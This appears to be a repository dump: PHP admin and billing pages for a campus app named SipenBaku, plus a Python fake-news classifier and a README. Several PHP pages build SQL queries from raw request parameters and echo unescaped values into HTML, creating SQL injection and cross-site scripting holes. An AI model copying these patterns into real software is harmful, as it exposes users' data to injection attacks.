include('../../config.php');
session_start();
if ($_SESSION['nip'] == "") {
header('location: ../index.html');
}
if (isset($_GET['id'])) {
$id = $_GET['id'];
$sql = "SELECT * FROM M_PRODI WHERE ID_PRODI = '".$id."'";
$result = mysqli_query($host,$sql);
if (mysqli_num_rows($result) > 0) {
$row = mysqli_fetch_assoc($result);
$kodeprodi = $row['ID_PRODI'];
$firstCharacter = $kodeprodi[0];
}
}
if (isset($_POST['Submit'])) {
$namaPr = $_POST['nama_prodi'];
$sql = "UPDATE M_PRODI SET NAMA_PRODI = '".$namaPr."' WHERE ID_PRODI = '".$id."'";
$hasil = mysqli_query($host,$sql);
if ($hasil) {
echo "<script>alert('Prodi berhasil di update');
window.location='../data/data_prodi.php'</script>";
}else {
echo "<script>alert('Prodi gagal di update');
window.location='../proses/edit_prodi.php'</script>";
}
}
?>
<!DOCTYPE html>
<html lang="en" dir="ltr">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Edit Data Prodi</title>
<!-- Bootstrap core CSS -->
<link href="../../asset/css/bootstrap.min.css" rel="stylesheet">
<!-- Custom styles for this template -->
<link href="../../asset/css/style.css" rel="stylesheet">
<script type="text/javascript" src="../../asset/js/jquery-3.4.0.min.js"></script>
</head>
<body>
<!--Navbar-->
<nav class="navbar navbar-expand-md navbar-light navbar-laravel">
<div class="container">
<a class="navbar-brand" href="dashboard.php">SipenBaku</a>
<button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="{{ __('Toggle navigation') }}">
<span class="navbar-toggler-icon"></span>
</button>
<div class="collapse navbar-collapse" id="navbarSupportedContent">
<ul class="navbar-nav mr-auto"></ul>
<ul class="navbar-nav ml-auto">
<li class="nav-item"><a class="btn btn-outline-danger" href="../data/data_prodi.php"><i class="fa fa-sign-out-alt"></i>Kembali</a></li>
</ul>
</div>
</div>
</nav>
<!--Content-->
<div class="container">
<div class="row justify-content-center">
<div class="col-md-6">
<div class="card">
<div class="card-header">
Form Edit Prodi
</div>
<div class="card-body">
<form name="form1" action="" method="post">
<div class="form-group">
<label for="program_studi">Jenjang Studi</label>
<select class="form-control" id="program_studi" name="program_studi">
<option value="">----</option>
<option value="4" <?php if(substr($row['ID_PRODI'], 0, 1) == 4) {echo "selected";}?>>Sarjana Terapan</option>
<option value="3" <?php if(substr($row['ID_PRODI'], 0, 1) == 3) {echo "selected";}?>>Diploma</option>
</select>
</div>
<div class="form-group">
<label for="nama">ID Prodi</label>
<input type="text" name="id_prodi" id="id_prodi" class="form-control" value="<?php echo $kodeprodi ?>" readonly>
</div>
<div class="form-group">
<label for="nama">Nama Prodi</label>
<input type="text" name="nama_prodi" class="form-control" value="<?php echo $row['NAMA_PRODI']; ?>" placeholder="Nama Prodi">
</div>
<div class="form-group">
<button type="submit" name="Submit" class="btn btn-primary waves">Submit</button>
</div>
</form>
</div>
</div>
</div>
</div>
</div>
<script type="text/javascript">
$('#program_studi option:not(:selected)').prop('disabled', true);
</script>
</body>
</html>
<file_sep><?php
include('../../config.php');
session_start();
if ($_SESSION['nip'] == "") {
header('location: ../index.html');
}
if (isset($_GET['id'])) {
$id = $_GET['id'];
$sql = "SELECT * FROM TR_TAGIHAN WHERE ID_TR_TAGIHAN ='".$id."'";
$result = mysqli_query($host,$sql);
if (mysqli_num_rows($result) > 0) {
$row = mysqli_fetch_assoc($result);
}
}
if (isset($_POST['Submit'])) {
$id_pembayaran = $_POST['id_pembayaran'];
$id_tagihan = $_POST['id_tagihan'];
$id_pegawai = $_POST['id_pegawai'];
$tgl_pembayaran = $_POST['tgl_pembayaran'];
$jml_bayar = $_POST['jml_bayar'];
$status = $_POST['status'];
$sql = "INSERT INTO TR_PEMBAYARAN VALUES('$id_pembayaran','$id_tagihan','$id_pegawai',
'$tgl_pembayaran', '$jml_bayar','$status',0)";
$result = mysqli_query($host,$sql);
if ($result) {
echo "<script>alert('Pembayaran Berhasil Disimpan');
window.location='../data/data_pembayaran.php'</script>";
}else {
echo "<script>alert('Pembayaran Gagal Di simpan');
window.location='../data/data_trx_tagihan.php'</script>";
}
}
?>
<!DOCTYPE html>
<html lang="en" dir="ltr">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Pembayaran</title>
<!-- Bootstrap core CSS -->
<link href="../../asset/css/bootstrap.min.css" rel="stylesheet">
<!-- Include Bootstrap Datepicker -->
<link href="https://cdnjs.cloudflare.com/ajax/libs/bootstrap-datepicker/1.6.4/css/bootstrap-datepicker.standalone.min.css" rel="stylesheet"/>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.1.1/jquery.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/bootstrap-datepicker/1.6.4/js/bootstrap-datepicker.min.js"></script>
</head>
<body>
<!--Navbar-->
<nav class="navbar navbar-expand-md navbar-light navbar-laravel">
<div class="container">
<a class="navbar-brand" href="dashboard.php">SipenBaku</a>
<button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="{{ __('Toggle navigation') }}">
<span class="navbar-toggler-icon"></span>
</button>
<div class="collapse navbar-collapse" id="navbarSupportedContent">
<ul class="navbar-nav mr-auto"></ul>
<ul class="navbar-nav ml-auto">
<li class="nav-item"><a class="btn btn-outline-danger" href="../data/data_trx_tagihan.php"><i class="fa fa-sign-out-alt"></i>Kembali</a></li>
</ul>
</div>
</div>
</nav>
<!--Content-->
<div class="container">
<div class="row justify-content-center">
<div class="col-md-6">
<div class="card">
<div class="card-header">
Form Pembayaran
</div>
<div class="card-body">
<form name="form2" action="" method="post">
<div class="form-group">
<label for="id_pembayaran">ID Pembayaran</label>
<?php
include('../../config.php');
$query = "SELECT MAX(ID_TR_PEMBAYARAN) AS id_pem FROM TR_PEMBAYARAN";
$result = mysqli_query($host,$query);
$data = mysqli_fetch_array($result);
//contoh id pembayaran
//PTGH1101
$kode = substr($data['id_pem'],7,2);
$tambah = $kode+1;
$idher = "PTGH".date('d').$tambah;
?>
<input type="text" class="form-control" id="id_pembayaran" name="id_pembayaran" value="<?php echo $idher ?>" placeholder="ID Pembayaran" readonly>
</div>
<div class="form-group">
<label for="id_tagihan">ID Tagihan</label>
<input type="text" class="form-control" id="id_tagihan" name="id_tagihan" value="<?php echo $row['ID_TR_TAGIHAN']; ?>" placeholder="ID Tagihan" readonly>
</div>
<div class="form-group">
<label for="id_pegawai">ID Pegawai</label>
<input type="text" class="form-control" typel="text" name="id_pegawai" value="<?php echo $row['ID_PEGAWAI']; ?>" placeholder="ID Pegawai" readonly>
</div>
<div class="form-group date">
<label for="tgl_tagihan">Tanggal Tagihan</label>
<input type="text" class="form-control" id="tgl_tagihan" value="<?php echo $row['TGL_TAGIHAN']; ?>" name="tgl_tagihan" readonly>
</div>
<div class="form-group">
<label for="jml_kurang">Jumlah Tagihan</label>
<input type="text" id="jml_kurang" name="jml_kurang" value="<?php echo $row['JUMLAH_KURANG']; ?>" class="form-control" placeholder="Jumlah Kurang">
</div>
<div class="form-group">
<label for="tgl_pembayaran">Tanggal Pembayaran</label>
<input type="text" id="tgl_pembayaran" name="tgl_pembayaran" class="form-control" placeholder="Tanggal Pembayaran">
</div>
<div class="form-group">
<label for="jml_bayar">Jumlah Bayar</label>
<input type="text" id="jml_bayar" name="jml_bayar" class="form-control" placeholder="Jumlah Pembayaran">
</div>
<div class="form-group">
<label for="status">Status Pembayaran</label>
<select name="status" id="status" class="form-control">
<option value="">----</option>
<option value="1">Lunas</option>
<option value="0">Belum Lunas</option>
?>
</select>
</div>
<div class="form-group">
<button class="btn btn-primary waves" type="submit" name="Submit">Submit</button>
</div>
</form>
</div>
</div>
</div>
</div>
</div>
<script>
$(function(){
$('#tgl_pembayaran').datepicker({
format: "yyyy-mm-dd",
viewMode: 'years'
});
});
</script>
</body>
</html><file_sep><?php
include('../../config.php');
session_start();
if ($_SESSION['nip'] == "") {
header('location: ../index.html');
}
if (isset($_GET['id'])) {
$id_tagihan = $_GET['id'];
$jml_tagihan = $_GET['jml'];
$id_pegawai = $_SESSION['nip'];
}
?>
<!DOCTYPE html>
<html lang="en" dir="ltr">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Tambah Data Prodi</title>
<!-- Bootstrap core CSS -->
<link href="../../asset/css/bootstrap.min.css" rel="stylesheet">
<!-- Custom styles -->
<link href="../../asset/css/style.css" rel="stylesheet">
<script type="text/javascript" src="../../asset/js/jquery-3.4.0.min.js"></script>
<!--Datetimepicker-->
<link href="https://cdnjs.cloudflare.com/ajax/libs/bootstrap-datepicker/1.6.4/css/bootstrap-datepicker.standalone.min.css" rel="stylesheet"/>
<script src="https://cdnjs.cloudflare.com/ajax/libs/bootstrap-datepicker/1.6.4/js/bootstrap-datepicker.min.js"></script>
</head>
<body>
<!--Navbar-->
<nav class="navbar navbar-expand-md navbar-light navbar-laravel">
<div class="container">
<a class="navbar-brand" href="dashboard.php">SipenBaku</a>
<button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="{{ __('Toggle navigation') }}">
<span class="navbar-toggler-icon"></span>
</button>
<div class="collapse navbar-collapse" id="navbarSupportedContent">
<ul class="navbar-nav mr-auto"></ul>
<ul class="navbar-nav ml-auto">
<li class="nav-item"><a class="btn btn-outline-danger" href="../data/data_tagihan.php"><i class="fa fa-sign-out-alt"></i>Kembali</a></li>
</ul>
</div>
</div>
</nav>
<!--Content-->
<div class="container">
<div class="row justify-content-center">
<div class="col-md-12">
<div class="card">
<div class="card-header">
Form Tambah Prodi
</div>
<div class="card-body">
<form action="../proses/simpan_trx.php" method="GET">
<div class="form-row">
<div class="form-group col-md-3">
<label for="id_tagihan">ID Tagihan</label>
<input type="text" class="form-control" id="id_tagihan" value="<?php echo $id_tagihan ?>" name="id_tagihan">
</div>
<div class="form-group col-md-3">
<label for="jml_tagihan">Jumlah Tagihan</label>
<input type="text" class="form-control" id="jml_tagihan" value="<?php echo $jml_tagihan ?>" name="jml_tagihan">
</div>
<div class="form-group col-md-3">
<label for="id_pegawai">ID Pegawai</label>
<input type="text" class="form-control" id="id_pegawai" value="<?php echo $id_pegawai ?>" name="id_pegawai" readonly>
</div>
<div class="form-group date col-md-3">
<label for="tgl_tagihan">Tanggal Tagihan</label>
<input type="text" class="form-control" id="tgl_tagihan" name="tgl_tagihan">
</div>
<div class="form-group col-md-3">
<label for="prodi">Prodi</label>
<select name="prodi" id="prodi" class="form-control">
<option value="">----</option>
<?php
include('../../config.php');
$query = "SELECT * FROM M_PRODI WHERE DELETED_PRODI = 0";
$result = mysqli_query($host,$query);
while($row = mysqli_fetch_array($result)){
echo '
<option value="' . $row['ID_PRODI'] . '">' . $row['NAMA_PRODI'] . '</option>';
}
?>
</select>
</div>
<div class="form-group col-md-3">
<label for="semester">Semester</label>
<select name="semester" id="semester" class="form-control">
<option value="">----</option>
<option value="1">1</option>
<option value="2">2</option>
<option value="3">3</option>
<option value="4">4</option>
<option value="5">5</option>
<option value="6">6</option>
<option value="7">7</option>
<option value="8">8</option>
</select>
</div>
</div>
<button type="button" class="btn btn-primary" name="filter" id="filter">Filter</button>
<br>
<div id="data_table">
</div>
<button type="submit" class="btn btn-primary" name="simpan" id="save">Submit</button>
</form>
</div>
</div>
</div>
</div>
</div>
<script type="text/javascript">
$(document).ready(function(){
$("#save").hide();
function filter(){
var id_prodi = $("#prodi option:selected").val();
var semester = $("#semester option:selected").val();
$.ajax({
type: "post",
url: "../proses/ajaxfilter.php",
//dataType: 'json',
data: {
prodi: id_prodi,
semester: semester
},
success: function(data){
console.log(data);
$("#data_table").html(data);
}
});
}
$('#filter').click(function(){
filter();
$("#save").show();
});
});
$(function(){
$('#tgl_tagihan').datepicker({
format: "yyyy-mm-dd",
viewMode: 'years'
});
});
</script>
</body>
</html>
<file_sep><?php
include('../../config.php');
session_start();
if ($_SESSION['nip'] == "") {
header('location: ../index.html');
}
if (isset($_GET['delete'])) {
$id = $_GET['delete'];
$sql = "UPDATE M_MHS SET DELETED_MHS = 1 WHERE ID_MHS = '".$id."'";
if (mysqli_query($host,$sql)) {
echo "<script>alert('Mahasiswa berhasil dihapus');
window.location='data_mahasiswa.php'</script>";
}else{
echo "<script>alert('Mahasiswa gagal dihapus');
window.location='data_mahasiswa.php'</script>";
}
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="description" content="">
<meta name="author" content="">
<title>SipenBaku</title>
<!-- Bootstrap core CSS -->
<link href="../../asset/css/bootstrap.min.css" rel="stylesheet">
<!-- Custom styles for this template -->
<link href="../../asset/css/style.css" rel="stylesheet">
</head>
<body>
<div class="d-flex" id="wrapper">
<!-- Sidebar -->
<div class="bg-light border-right" id="sidebar-wrapper">
<div class="sidebar-heading">Dashboard</div>
<div class="list-group list-group-flush">
<a href="../dashboard/dashboard.php" class="list-group-item list-group-item-action bg-light">Home</a>
</div>
</div>
<!-- /#sidebar-wrapper -->
<!-- Page Content -->
<div id="page-content-wrapper">
<nav class="navbar navbar-expand-lg navbar-light bg-light border-bottom">
<div class="collapse navbar-collapse" id="navbarSupportedContent">
<ul class="navbar-nav ml-auto mt-2 mt-lg-0">
<li class="nav-item active">
</ul>
</div>
</nav>
<div class="container">
<div class="row justify-content center">
<div class="col-md-12">
<div class="card">
<div class="card-header">List Mahasiswa</div>
<div class="card-body">
<form class="" action="i" method="get">
<input type="text" name="cari" id="cari" class="form-control" style="weight:50%;" placeholder="Cari data">
<br>
<button type="submit" name="Cari" class="btn btn-primary waves form-group">Cari</button>
<br>
<a class="btn btn-outline-danger form-group" style="" href="../form/form_mahasiswa.php">Tambah Data</a>
<br>
</form>
<table class="table table-striped table-bordered" style="width:100%">
<thead>
<tr>
<th>ID Mahasiswa</th>
<th>ID Prodi</th>
<th>Nama Mahasiswa</th>
<th>Thn Mahasiswa</th>
<th>Semester Mahasiswa</th>
<th>Status Aktif</th>
<th>Action</th>
</tr>
</thead>
<tbody>
<?php
$sql = "SELECT * FROM M_MHS WHERE DELETED_MHS = 0";
$result = mysqli_query($host, $sql);
?>
<tr>
<?PHP
while($data = mysqli_fetch_assoc($result)) {
?>
<td class="text-center"><?php echo $data['ID_MHS']; ?></td>
<td class="text-center"><?php echo $data['ID_PRODI']; ?></td>
<td class="text-center"><?php echo $data['NAMA_MHS']; ?></td>
<td class="text-center"><?php echo $data['THN_MASUK']; ?></td>
<td class="text-center"><?php echo $data['SEMESTER_MHS']; ?></td>
<td class="text-center"><?php if($data['STATUS_AKTIF'] == '1'){echo 'Aktif';}else{echo 'Tidak Aktif';}; ?></td>
<td class="text-center">
<a href="../proses/edit_mhs.php?id=<?php echo $data['ID_MHS'] ?>" class="btn btn-info"><i class="fa fa-user-edit">Edit</i></a>
<a href="data_mahasiswa.php?delete=<?php echo $data['ID_MHS']?>" class="btn btn-danger"
onclick="return confirm('Yakin Ingin Menghapus Nama Mahasiswa <?php echo $data['NAMA_MHS']; ?>')"><i class="fa fa-trash-alt">Delete</i></a>
</td>
</tr>
<?php }?>
</tbody>
</table>
</div>
</div>
</div>
</div>
</div>
</div>
<!-- /#page-content-wrapper -->
</div>
<!-- /#wrapper -->
</body>
</html>
<file_sep><?php
session_start();
if ($_SESSION['nip'] != "") {
session_unset();
session_destroy();
header('Location:../../index.html');
}
?> | 32d867c819d7a5de24d0d4982850d0b6d41762df | [
"Markdown",
"PHP"
] | 19 | PHP | TI-2CDEV/unixuser | 846faebb52137fab8ceb66401dac405c97c8a214 | 4a57648a3c4a22ff779a79ab7d7a96b8a1ca622a |
refs/heads/master | <file_sep>//connect mongodb
const mongoose = require('mongoose')
mongoose.connect('mongodb://localhost', err=>{
if(err){
console.info(err)
}else{
console.log(`mongodb connected...`)
}
})<file_sep>import React from 'react'
import {
List,
InputItem,
WingBlank,
WhiteSpace,
Button,
Radio,
} from 'antd-mobile'
import {connect} from 'react-redux'
import register from '../../reducers/user'
import Logo from '../../components/logo/logo'
@connect(
state=>state.userName,
{register}
)
class Register extends React.Component{
constructor(props){
super(props)
this.state = {
type: 'genius',
userName: '',
password: '',
repeatPassword: '',
type: 'genius',
}
this.login = this.login.bind(this)
this.handlerChange = this.handlerChange.bind(this)
this.handlerRegister = this.handlerRegister.bind(this)
}
handlerRegister(){
// console.log(this.props.register)
// console.log(this.state)
this.props.register(this.state)
}
handlerChange(key, value){
this.setState({
[key]: value,
})
}
login(){
this.props.history.push('/login')
}
render(){
const RadioItem = Radio.RadioItem
return (
<div>
<Logo/>
<h2>注册页</h2>
<WingBlank>
<List>
{this.props.message?<p className="error-message">{this.props.message}</p>:null}
<InputItem
onChange={value=>this.handlerChange('userName', value)}
>用户名</InputItem>
<InputItem
onChange={value=>this.handlerChange('password', value)}
type="password"
>密码</InputItem>
<InputItem
onChange={value=>this.handlerChange('repeatPassword', value)}
type="password"
>确认密码</InputItem>
<RadioItem
checked={this.state.type == 'genius'}
onChange={()=>this.handlerChange('type', 'genius')}
>
牛人
</RadioItem>
<RadioItem
checked={this.state.type == 'boss'}
onChange={()=>this.handlerChange('type', 'boss')}
>
BOSS
</RadioItem>
</List>
<WhiteSpace/>
<Button type="primary"
onClick={this.handlerRegister}
>注册</Button>
<WhiteSpace/>
<Button type="primary" onClick={this.login}>登陆</Button>
</WingBlank>
</div>
)
}
}
export default Register | 8aa17b699222ff28de70d8627e5ed0e041c3e1fa | [
"JavaScript"
] | 2 | JavaScript | see2hao/react-redux-nodejs | 7dba787dd4a6c21169f70497668d763b04d4e441 | 6a8224864bcb4457056219b846bda82f9fd44afd |
refs/heads/main | <repo_name>CMPE257-AlternusVera-All-Teams/AlternusVera-All-Teams-Integration<file_sep>/trailblazers/TRAILBLAZERS.py
import pickle
import re
from collections import Counter
import warnings
import nltk.sentiment
import pandas as pd
import gensim
import nltk
from nltk.corpus import stopwords
from nltk.tokenize import word_tokenize, sent_tokenize
from collections import Counter
from gensim.models import Word2Vec
import numpy as np
import statistics
nltk.download('averaged_perceptron_tagger')
from gensim import corpora, models
from nltk.stem.wordnet import WordNetLemmatizer
from sklearn.feature_extraction.text import TfidfVectorizer
from sklearn.preprocessing import scale
from sklearn.metrics.pairwise import cosine_similarity
from scipy import spatial
import warnings
nltk.download('punkt')
nltk.download('vader_lexicon')
warnings.filterwarnings('ignore')
nltk.download('wordnet')
nltk.download("stopwords")
import urllib.request,sys,time
from bs4 import BeautifulSoup
import requests
stop_words = set(stopwords.words('english'))
import os
def predictIntention(text, model):
def cleaning(statement):
# 1. Remove non-letters/Special Characters and Punctuations
news = re.sub("[^a-zA-Z]", " ", statement)
# 2. Convert to lower case.
news = news.lower()
# 3. Tokenize.
news_words = nltk.word_tokenize( news)
# 4. Convert the stopwords list to "set" data type.
stops = stop_words
# 5. Remove stop words.
words = [w for w in news_words if not w in stops]
# 6. Lemmentize
wordnet_lem = [ WordNetLemmatizer().lemmatize(w) for w in words ]
# 7. Stemming
stems = [nltk.stem.SnowballStemmer('english').stem(w) for w in wordnet_lem ]
# 8. Join the stemmed words back into one string separated by space, and return the result.
return " ".join(stems)
def clean_spell_checker(df, model):
words = model.index2word
w_rank = {}
for i,word in enumerate(words):
w_rank[word] = i
WORDS = w_rank
def words(text): return re.findall(r'\w+', text.lower())
def P(word, N=sum(WORDS.values())):
"Probability of `word`."
return - WORDS.get(word, 0)
def correction(word):
"Most probable spelling correction for word."
return max(candidates(word), key=P)
def candidates(word):
"Generate possible spelling corrections for word."
return (known([word]) or known(edits1(word)) or known(edits2(word)) or [word])
def known(words):
"The subset of `words` that appear in the dictionary of WORDS."
return set(w for w in words if w in WORDS)
def edits1(word):
"All edits that are one edit away from `word`."
letters = 'abcdefghijklmnopqrstuvwxyz'
splits = [(word[:i], word[i:]) for i in range(len(word) + 1)]
deletes = [L + R[1:] for L, R in splits if R]
transposes = [L + R[1] + R[0] + R[2:] for L, R in splits if len(R)>1]
replaces = [L + c + R[1:] for L, R in splits if R for c in letters]
inserts = [L + c + R for L, R in splits for c in letters]
return set(deletes + transposes + replaces + inserts)
def edits2(word):
"All edits that are two edits away from `word`."
return (e2 for e1 in edits1(word) for e2 in edits1(e1))
def spell_checker(text):
all_words = re.findall(r'\w+', text.lower()) # split sentence to words
spell_checked_text = []
for i in range(len(all_words)):
spell_checked_text.append(correction(all_words[i]))
return ' '.join(spell_checked_text)
df['clean'] = df['clean'].apply(spell_checker)
return df
cleaned_word = []
def clean(df, model):
df['clean'] = df['clean'].apply(cleaning)
df = clean_spell_checker(df, model)
return df
sentiment_vector = []
vader_polarity = []
sentiment_score = []
def sentiment_analysis(df):
senti = nltk.sentiment.vader.SentimentIntensityAnalyzer()
def print_sentiment_scores(sentence):
snt = senti.polarity_scores(sentence)
print_sentiment_scores(df['clean'][0])
def get_vader_polarity(snt):
if not snt:
return None
elif snt['neg'] > snt['pos'] and snt['neg'] > snt['neu']:
return -1
elif snt['pos'] > snt['neg'] and snt['pos'] > snt['neu']:
return 1
else:
return 0
def get_polarity_type(sentence):
sentimentVector = []
snt = senti.polarity_scores(sentence)
sentimentVector.append(get_vader_polarity(snt))
sentimentVector.append(snt['neg'])
sentimentVector.append(snt['neu'])
sentimentVector.append(snt['pos'])
sentimentVector.append(snt['compound'])
return sentimentVector
get_pols = get_polarity_type(text)
sentiment_vector = get_pols[1:]
vader_polarity = get_pols[0]
neg_score = get_pols[1]
neu_score = get_pols[2]
pos_score = get_pols[3]
sentiment_score = get_pols[1:][-1]
df['sentiment_score'] = sentiment_score
df['vader_polarity'] = vader_polarity
return df
def get_sensational_score(df):
# sensational_words = pd.read_csv('./sensational_words_dict.csv', usecols=[0], sep='\t+', header=None)
sensational_words = pd.read_csv('/content/AlternusVera-All-Teams-Integration/trailblazers/sensational_words_dict.csv', usecols=[0], sep='\t+', header=None)
corpus = []
corpus.append(text)
sensational_corpus=[]
sensational_dictionary = ' '.join(sensational_words[0].astype(str))
sensational_corpus.append(sensational_dictionary)
# sentic_net = pd.read_csv('./senticnet5.txt', sep="\t+", header=None, usecols=[0,1,2], names = ["Token", "Polarity", "Intensity"])
sentic_net = pd.read_csv('/content/AlternusVera-All-Teams-Integration/trailblazers/senticnet5.txt', sep="\t+", header=None, usecols=[0,1,2], names = ["Token", "Polarity", "Intensity"])
warnings.filterwarnings("ignore")
sentic_net = sentic_net[~sentic_net['Token'].str.contains('|'.join('_'),na=False)]
sentic_net = sentic_net.reset_index(drop=True)
senti_pos = sentic_net.loc[sentic_net.Polarity == "positive"]
senti_pos = senti_pos.loc[senti_pos.Intensity > 0.90]
dictionary = ' '.join(senti_pos.Token.astype(str))
sensational_corpus.append(dictionary)
tfidfVec = TfidfVectorizer(max_features=1000)
train_tfidf = tfidfVec.fit_transform(df['clean'])
max_f = train_tfidf.shape[1]
tfidfVec = TfidfVectorizer(max_features=max_f)
tfidf_corpus = tfidfVec.fit_transform(corpus)
tf_idf_senti = tfidfVec.fit_transform(sensational_corpus)
words = tfidfVec.get_feature_names()
tfidf_corpus.toarray()
tf_idf_senti.toarray()
tfidfVec.vocabulary_
similarity_score = []
for i in range(len(train_tfidf.toarray())):
similarity_score.append(1 - spatial.distance.cosine(tf_idf_senti[0].toarray(), tfidf_corpus[i].toarray()))
df['sensational_score'] = similarity_score[0]
return df
def get_lda_score(df):
data = df
train_lda = data[['clean','index']]
processed_docs = train_lda['clean'].map(lambda doc: doc.split(" "))
dictionary = gensim.corpora.Dictionary(processed_docs)
# dictionary.filter_extremes(no_below=2, no_above=0.5, keep_n=100000)
bow_corpus = [dictionary.doc2bow(doc) for doc in processed_docs]
tfidf = models.TfidfModel(bow_corpus)
corpus_tfidf = tfidf[bow_corpus]
lda_model = gensim.models.LdaMulticore(bow_corpus, num_topics=10, id2word=dictionary, passes=2, workers=2)
lda_model_tfidf = gensim.models.LdaMulticore(corpus_tfidf, num_topics=10, id2word=dictionary, passes=2, workers=4)
for i, data in enumerate(bow_corpus):
for index, score in sorted(lda_model_tfidf[bow_corpus[i]], key=lambda tup: -1*tup[1]):
df['lda_score'] = score
return df
def get_POS(df):
stop_words = set(stopwords.words('english'))
postags = ['CC','CD','DT','EX','FW','IN','JJ','JJR','JJS','LS','MD','NN','NNS','NNP','NNPS','PDT','POS','PRP','PRP$','RB','RBR','RBS','RP','SYM','TO','UH','VB','VBD','VBG','VBN','VBP','VBZ','WDT','WP','WP$','WRB']
for i,txt in enumerate(postags):
df[txt]=0.00
def getTokerns(txt):
tokenized = sent_tokenize(txt)
for i in tokenized:
wordsList = nltk.word_tokenize(i)
wordsList = [w for w in wordsList if not w in stop_words]
tagged = nltk.pos_tag(wordsList)
counts = Counter(tag for (word, tag) in tagged)
total = sum(counts.values())
a = dict((word, float(count) / total) for (word, count) in
counts.items())
return a;
for i,txt in enumerate(df['clean']):
a = getTokerns(txt)
for key in a:
if key in postags:
df[key][i]=a[key]
return df
df_data = pd.DataFrame([[text,0]],columns=['clean', 'index'])
df_data = clean(df_data, model)
df_data = sentiment_analysis(df_data)
df_data = get_sensational_score(df_data)
df_data = get_lda_score(df_data)
df_data = get_POS(df_data)
df = df_data.filter(items=['lda_score','sensational_score','sentiment_score','vader_polarity',
'CC','CD','DT','EX','FW','IN','JJ','JJR','JJS','LS','MD','NN','NNS',
'NNP','NNPS','PDT','POS','PRP','PRP$','RB','RBR','RBS','RP','SYM',
'TO','UH','VB','VBD','VBG','VBN','VBP','VBZ','WDT','WP','WP$','WRB'])
with open('/content/AlternusVera-All-Teams-Integration/trailblazers/neural_net.pkl', 'rb') as file:
# with open('./neural_net.pkl', 'rb') as file:
neural_net_model = pickle.load(file)
pred = neural_net_model.predict(df)
MI_Label_map={0:'pants-fire',
1:'false',
2:'barely-true',
3:'half-true',
4:'mostly-true',
5:'true'}
return MI_Label_map.get(pred[0])
Label_map={0: 'barely-true',
1: 'false',
2: 'full-flop',
3: 'half-flip',
4: 'half-true',
5: 'mostly-true',
6: 'pants-fire',
7: 'true'}
speaker_map={0: '<NAME>',
1: '<NAME>',
2: '<NAME>',
3: '<NAME>',
4: '<NAME>',
5: '<NAME>',
6: '<NAME>',
7: '<NAME>',
8: '<NAME>',
9: '<NAME>'}
def getTokerns(txt):
tokenized = sent_tokenize(txt)
for i in tokenized:
wordsList = nltk.word_tokenize(i)
wordsList = [w for w in wordsList if not w in stop_words]
tagged = nltk.pos_tag(wordsList)
counts = Counter(tag for (word, tag) in tagged)
total = sum(counts.values())
a = dict((word, float(count) / total) for (word, count) in
counts.items())
return a;
def predictLable(text):
data = {'Statement': [text]
}
df_test = pd.DataFrame (data, columns = ['Statement'])
postags = ['CC','CD','DT','EX','FW','IN','JJ','JJR','JJS','LS','MD','NN','NNS','NNP','NNPS','PDT','POS','PRP','PRP$','RB','RBR','RBS','RP','SYM','TO','UH','VB','VBD','VBG','VBN','VBP','VBZ','WDT','WP','WP$','WRB']
for i,txt in enumerate(postags):
df_test[txt]=0.00;
for i,txt in enumerate(df_test['Statement']):
a = getTokerns(txt)
for key in a:
if key in postags:
df_test[key][i]=a[key]
spearker_df = df_test.filter(items=['CC', 'CD',
'DT', 'EX', 'FW', 'IN', 'JJ', 'JJR', 'JJS', 'LS', 'MD', 'NN', 'NNS',
'NNP', 'NNPS', 'PDT', 'POS', 'PRP', 'PRP$', 'RB', 'RBR', 'RBS', 'RP',
'SYM', 'TO', 'UH', 'VB', 'VBD', 'VBG', 'VBN', 'VBP', 'VBZ', 'WDT', 'WP',
'WP$', 'WRB'])
with open('/content/AlternusVera-All-Teams-Integration/trailblazers/knn_speaker_Model.pkl', 'rb') as file:
knn_speaker_Model = pickle.load(file)
sp = knn_speaker_Model.predict(spearker_df)
res = sp[0,0];
if res - int(res) > 0.49:
res=int(res)+1
else:
res=int(res)
src=speaker_map.get(res)
for key in speaker_map:
if speaker_map[key] == src:
df_test['Source_cat']=key
with open('/content/AlternusVera-All-Teams-Integration/trailblazers/knn_truth_Model.pkl', 'rb') as file:
knn_truth_Model = pickle.load(file)
source_df = df_test.filter(items=['Source_cat', 'CC', 'CD',
'DT', 'EX', 'FW', 'IN', 'JJ', 'JJR', 'JJS', 'LS', 'MD', 'NN', 'NNS',
'NNP', 'NNPS', 'PDT', 'POS', 'PRP', 'PRP$', 'RB', 'RBR', 'RBS', 'RP',
'SYM', 'TO', 'UH', 'VB', 'VBD', 'VBG', 'VBN', 'VBP', 'VBZ', 'WDT', 'WP',
'WP$', 'WRB'])
pred=knn_truth_Model.predict(source_df)
res_label = pred[0,0];
if res_label - int(res_label) > 0.49:
res_label=int(res_label)+1
else:
res_label=int(res_label)
return Label_map.get(res_label)
# text='Ann and I extend our congratulations to President-elect <NAME> and Vice President-elect <NAME>. We know both of them as people of good will and admirable character. We pray that God may bless them in the days and years ahead.'
# text='America, I’m honored that you have chosen me to lead our great country.The work ahead of us will be hard, but I promise you this: I will be a President for all Americans — whether you voted for me or not.I will keep the faith that you have placed in me.'
# result = predictLable(text)
# print(result)<file_sep>/README.md
# AlternusVera-All-Teams-Integration
|Name| Email | Student ID|
|---|---|---|
|<NAME>| <EMAIL>|0131736528 |
|<NAME>|<EMAIL>|013859001|
|<NAME>|<EMAIL>|014579487|
|<NAME>| <EMAIL>|012538708 |
Step 1 - To install major dependencies
```
source setup.dev.sh
```
Step 2 - Run flask App
```
flask run
```
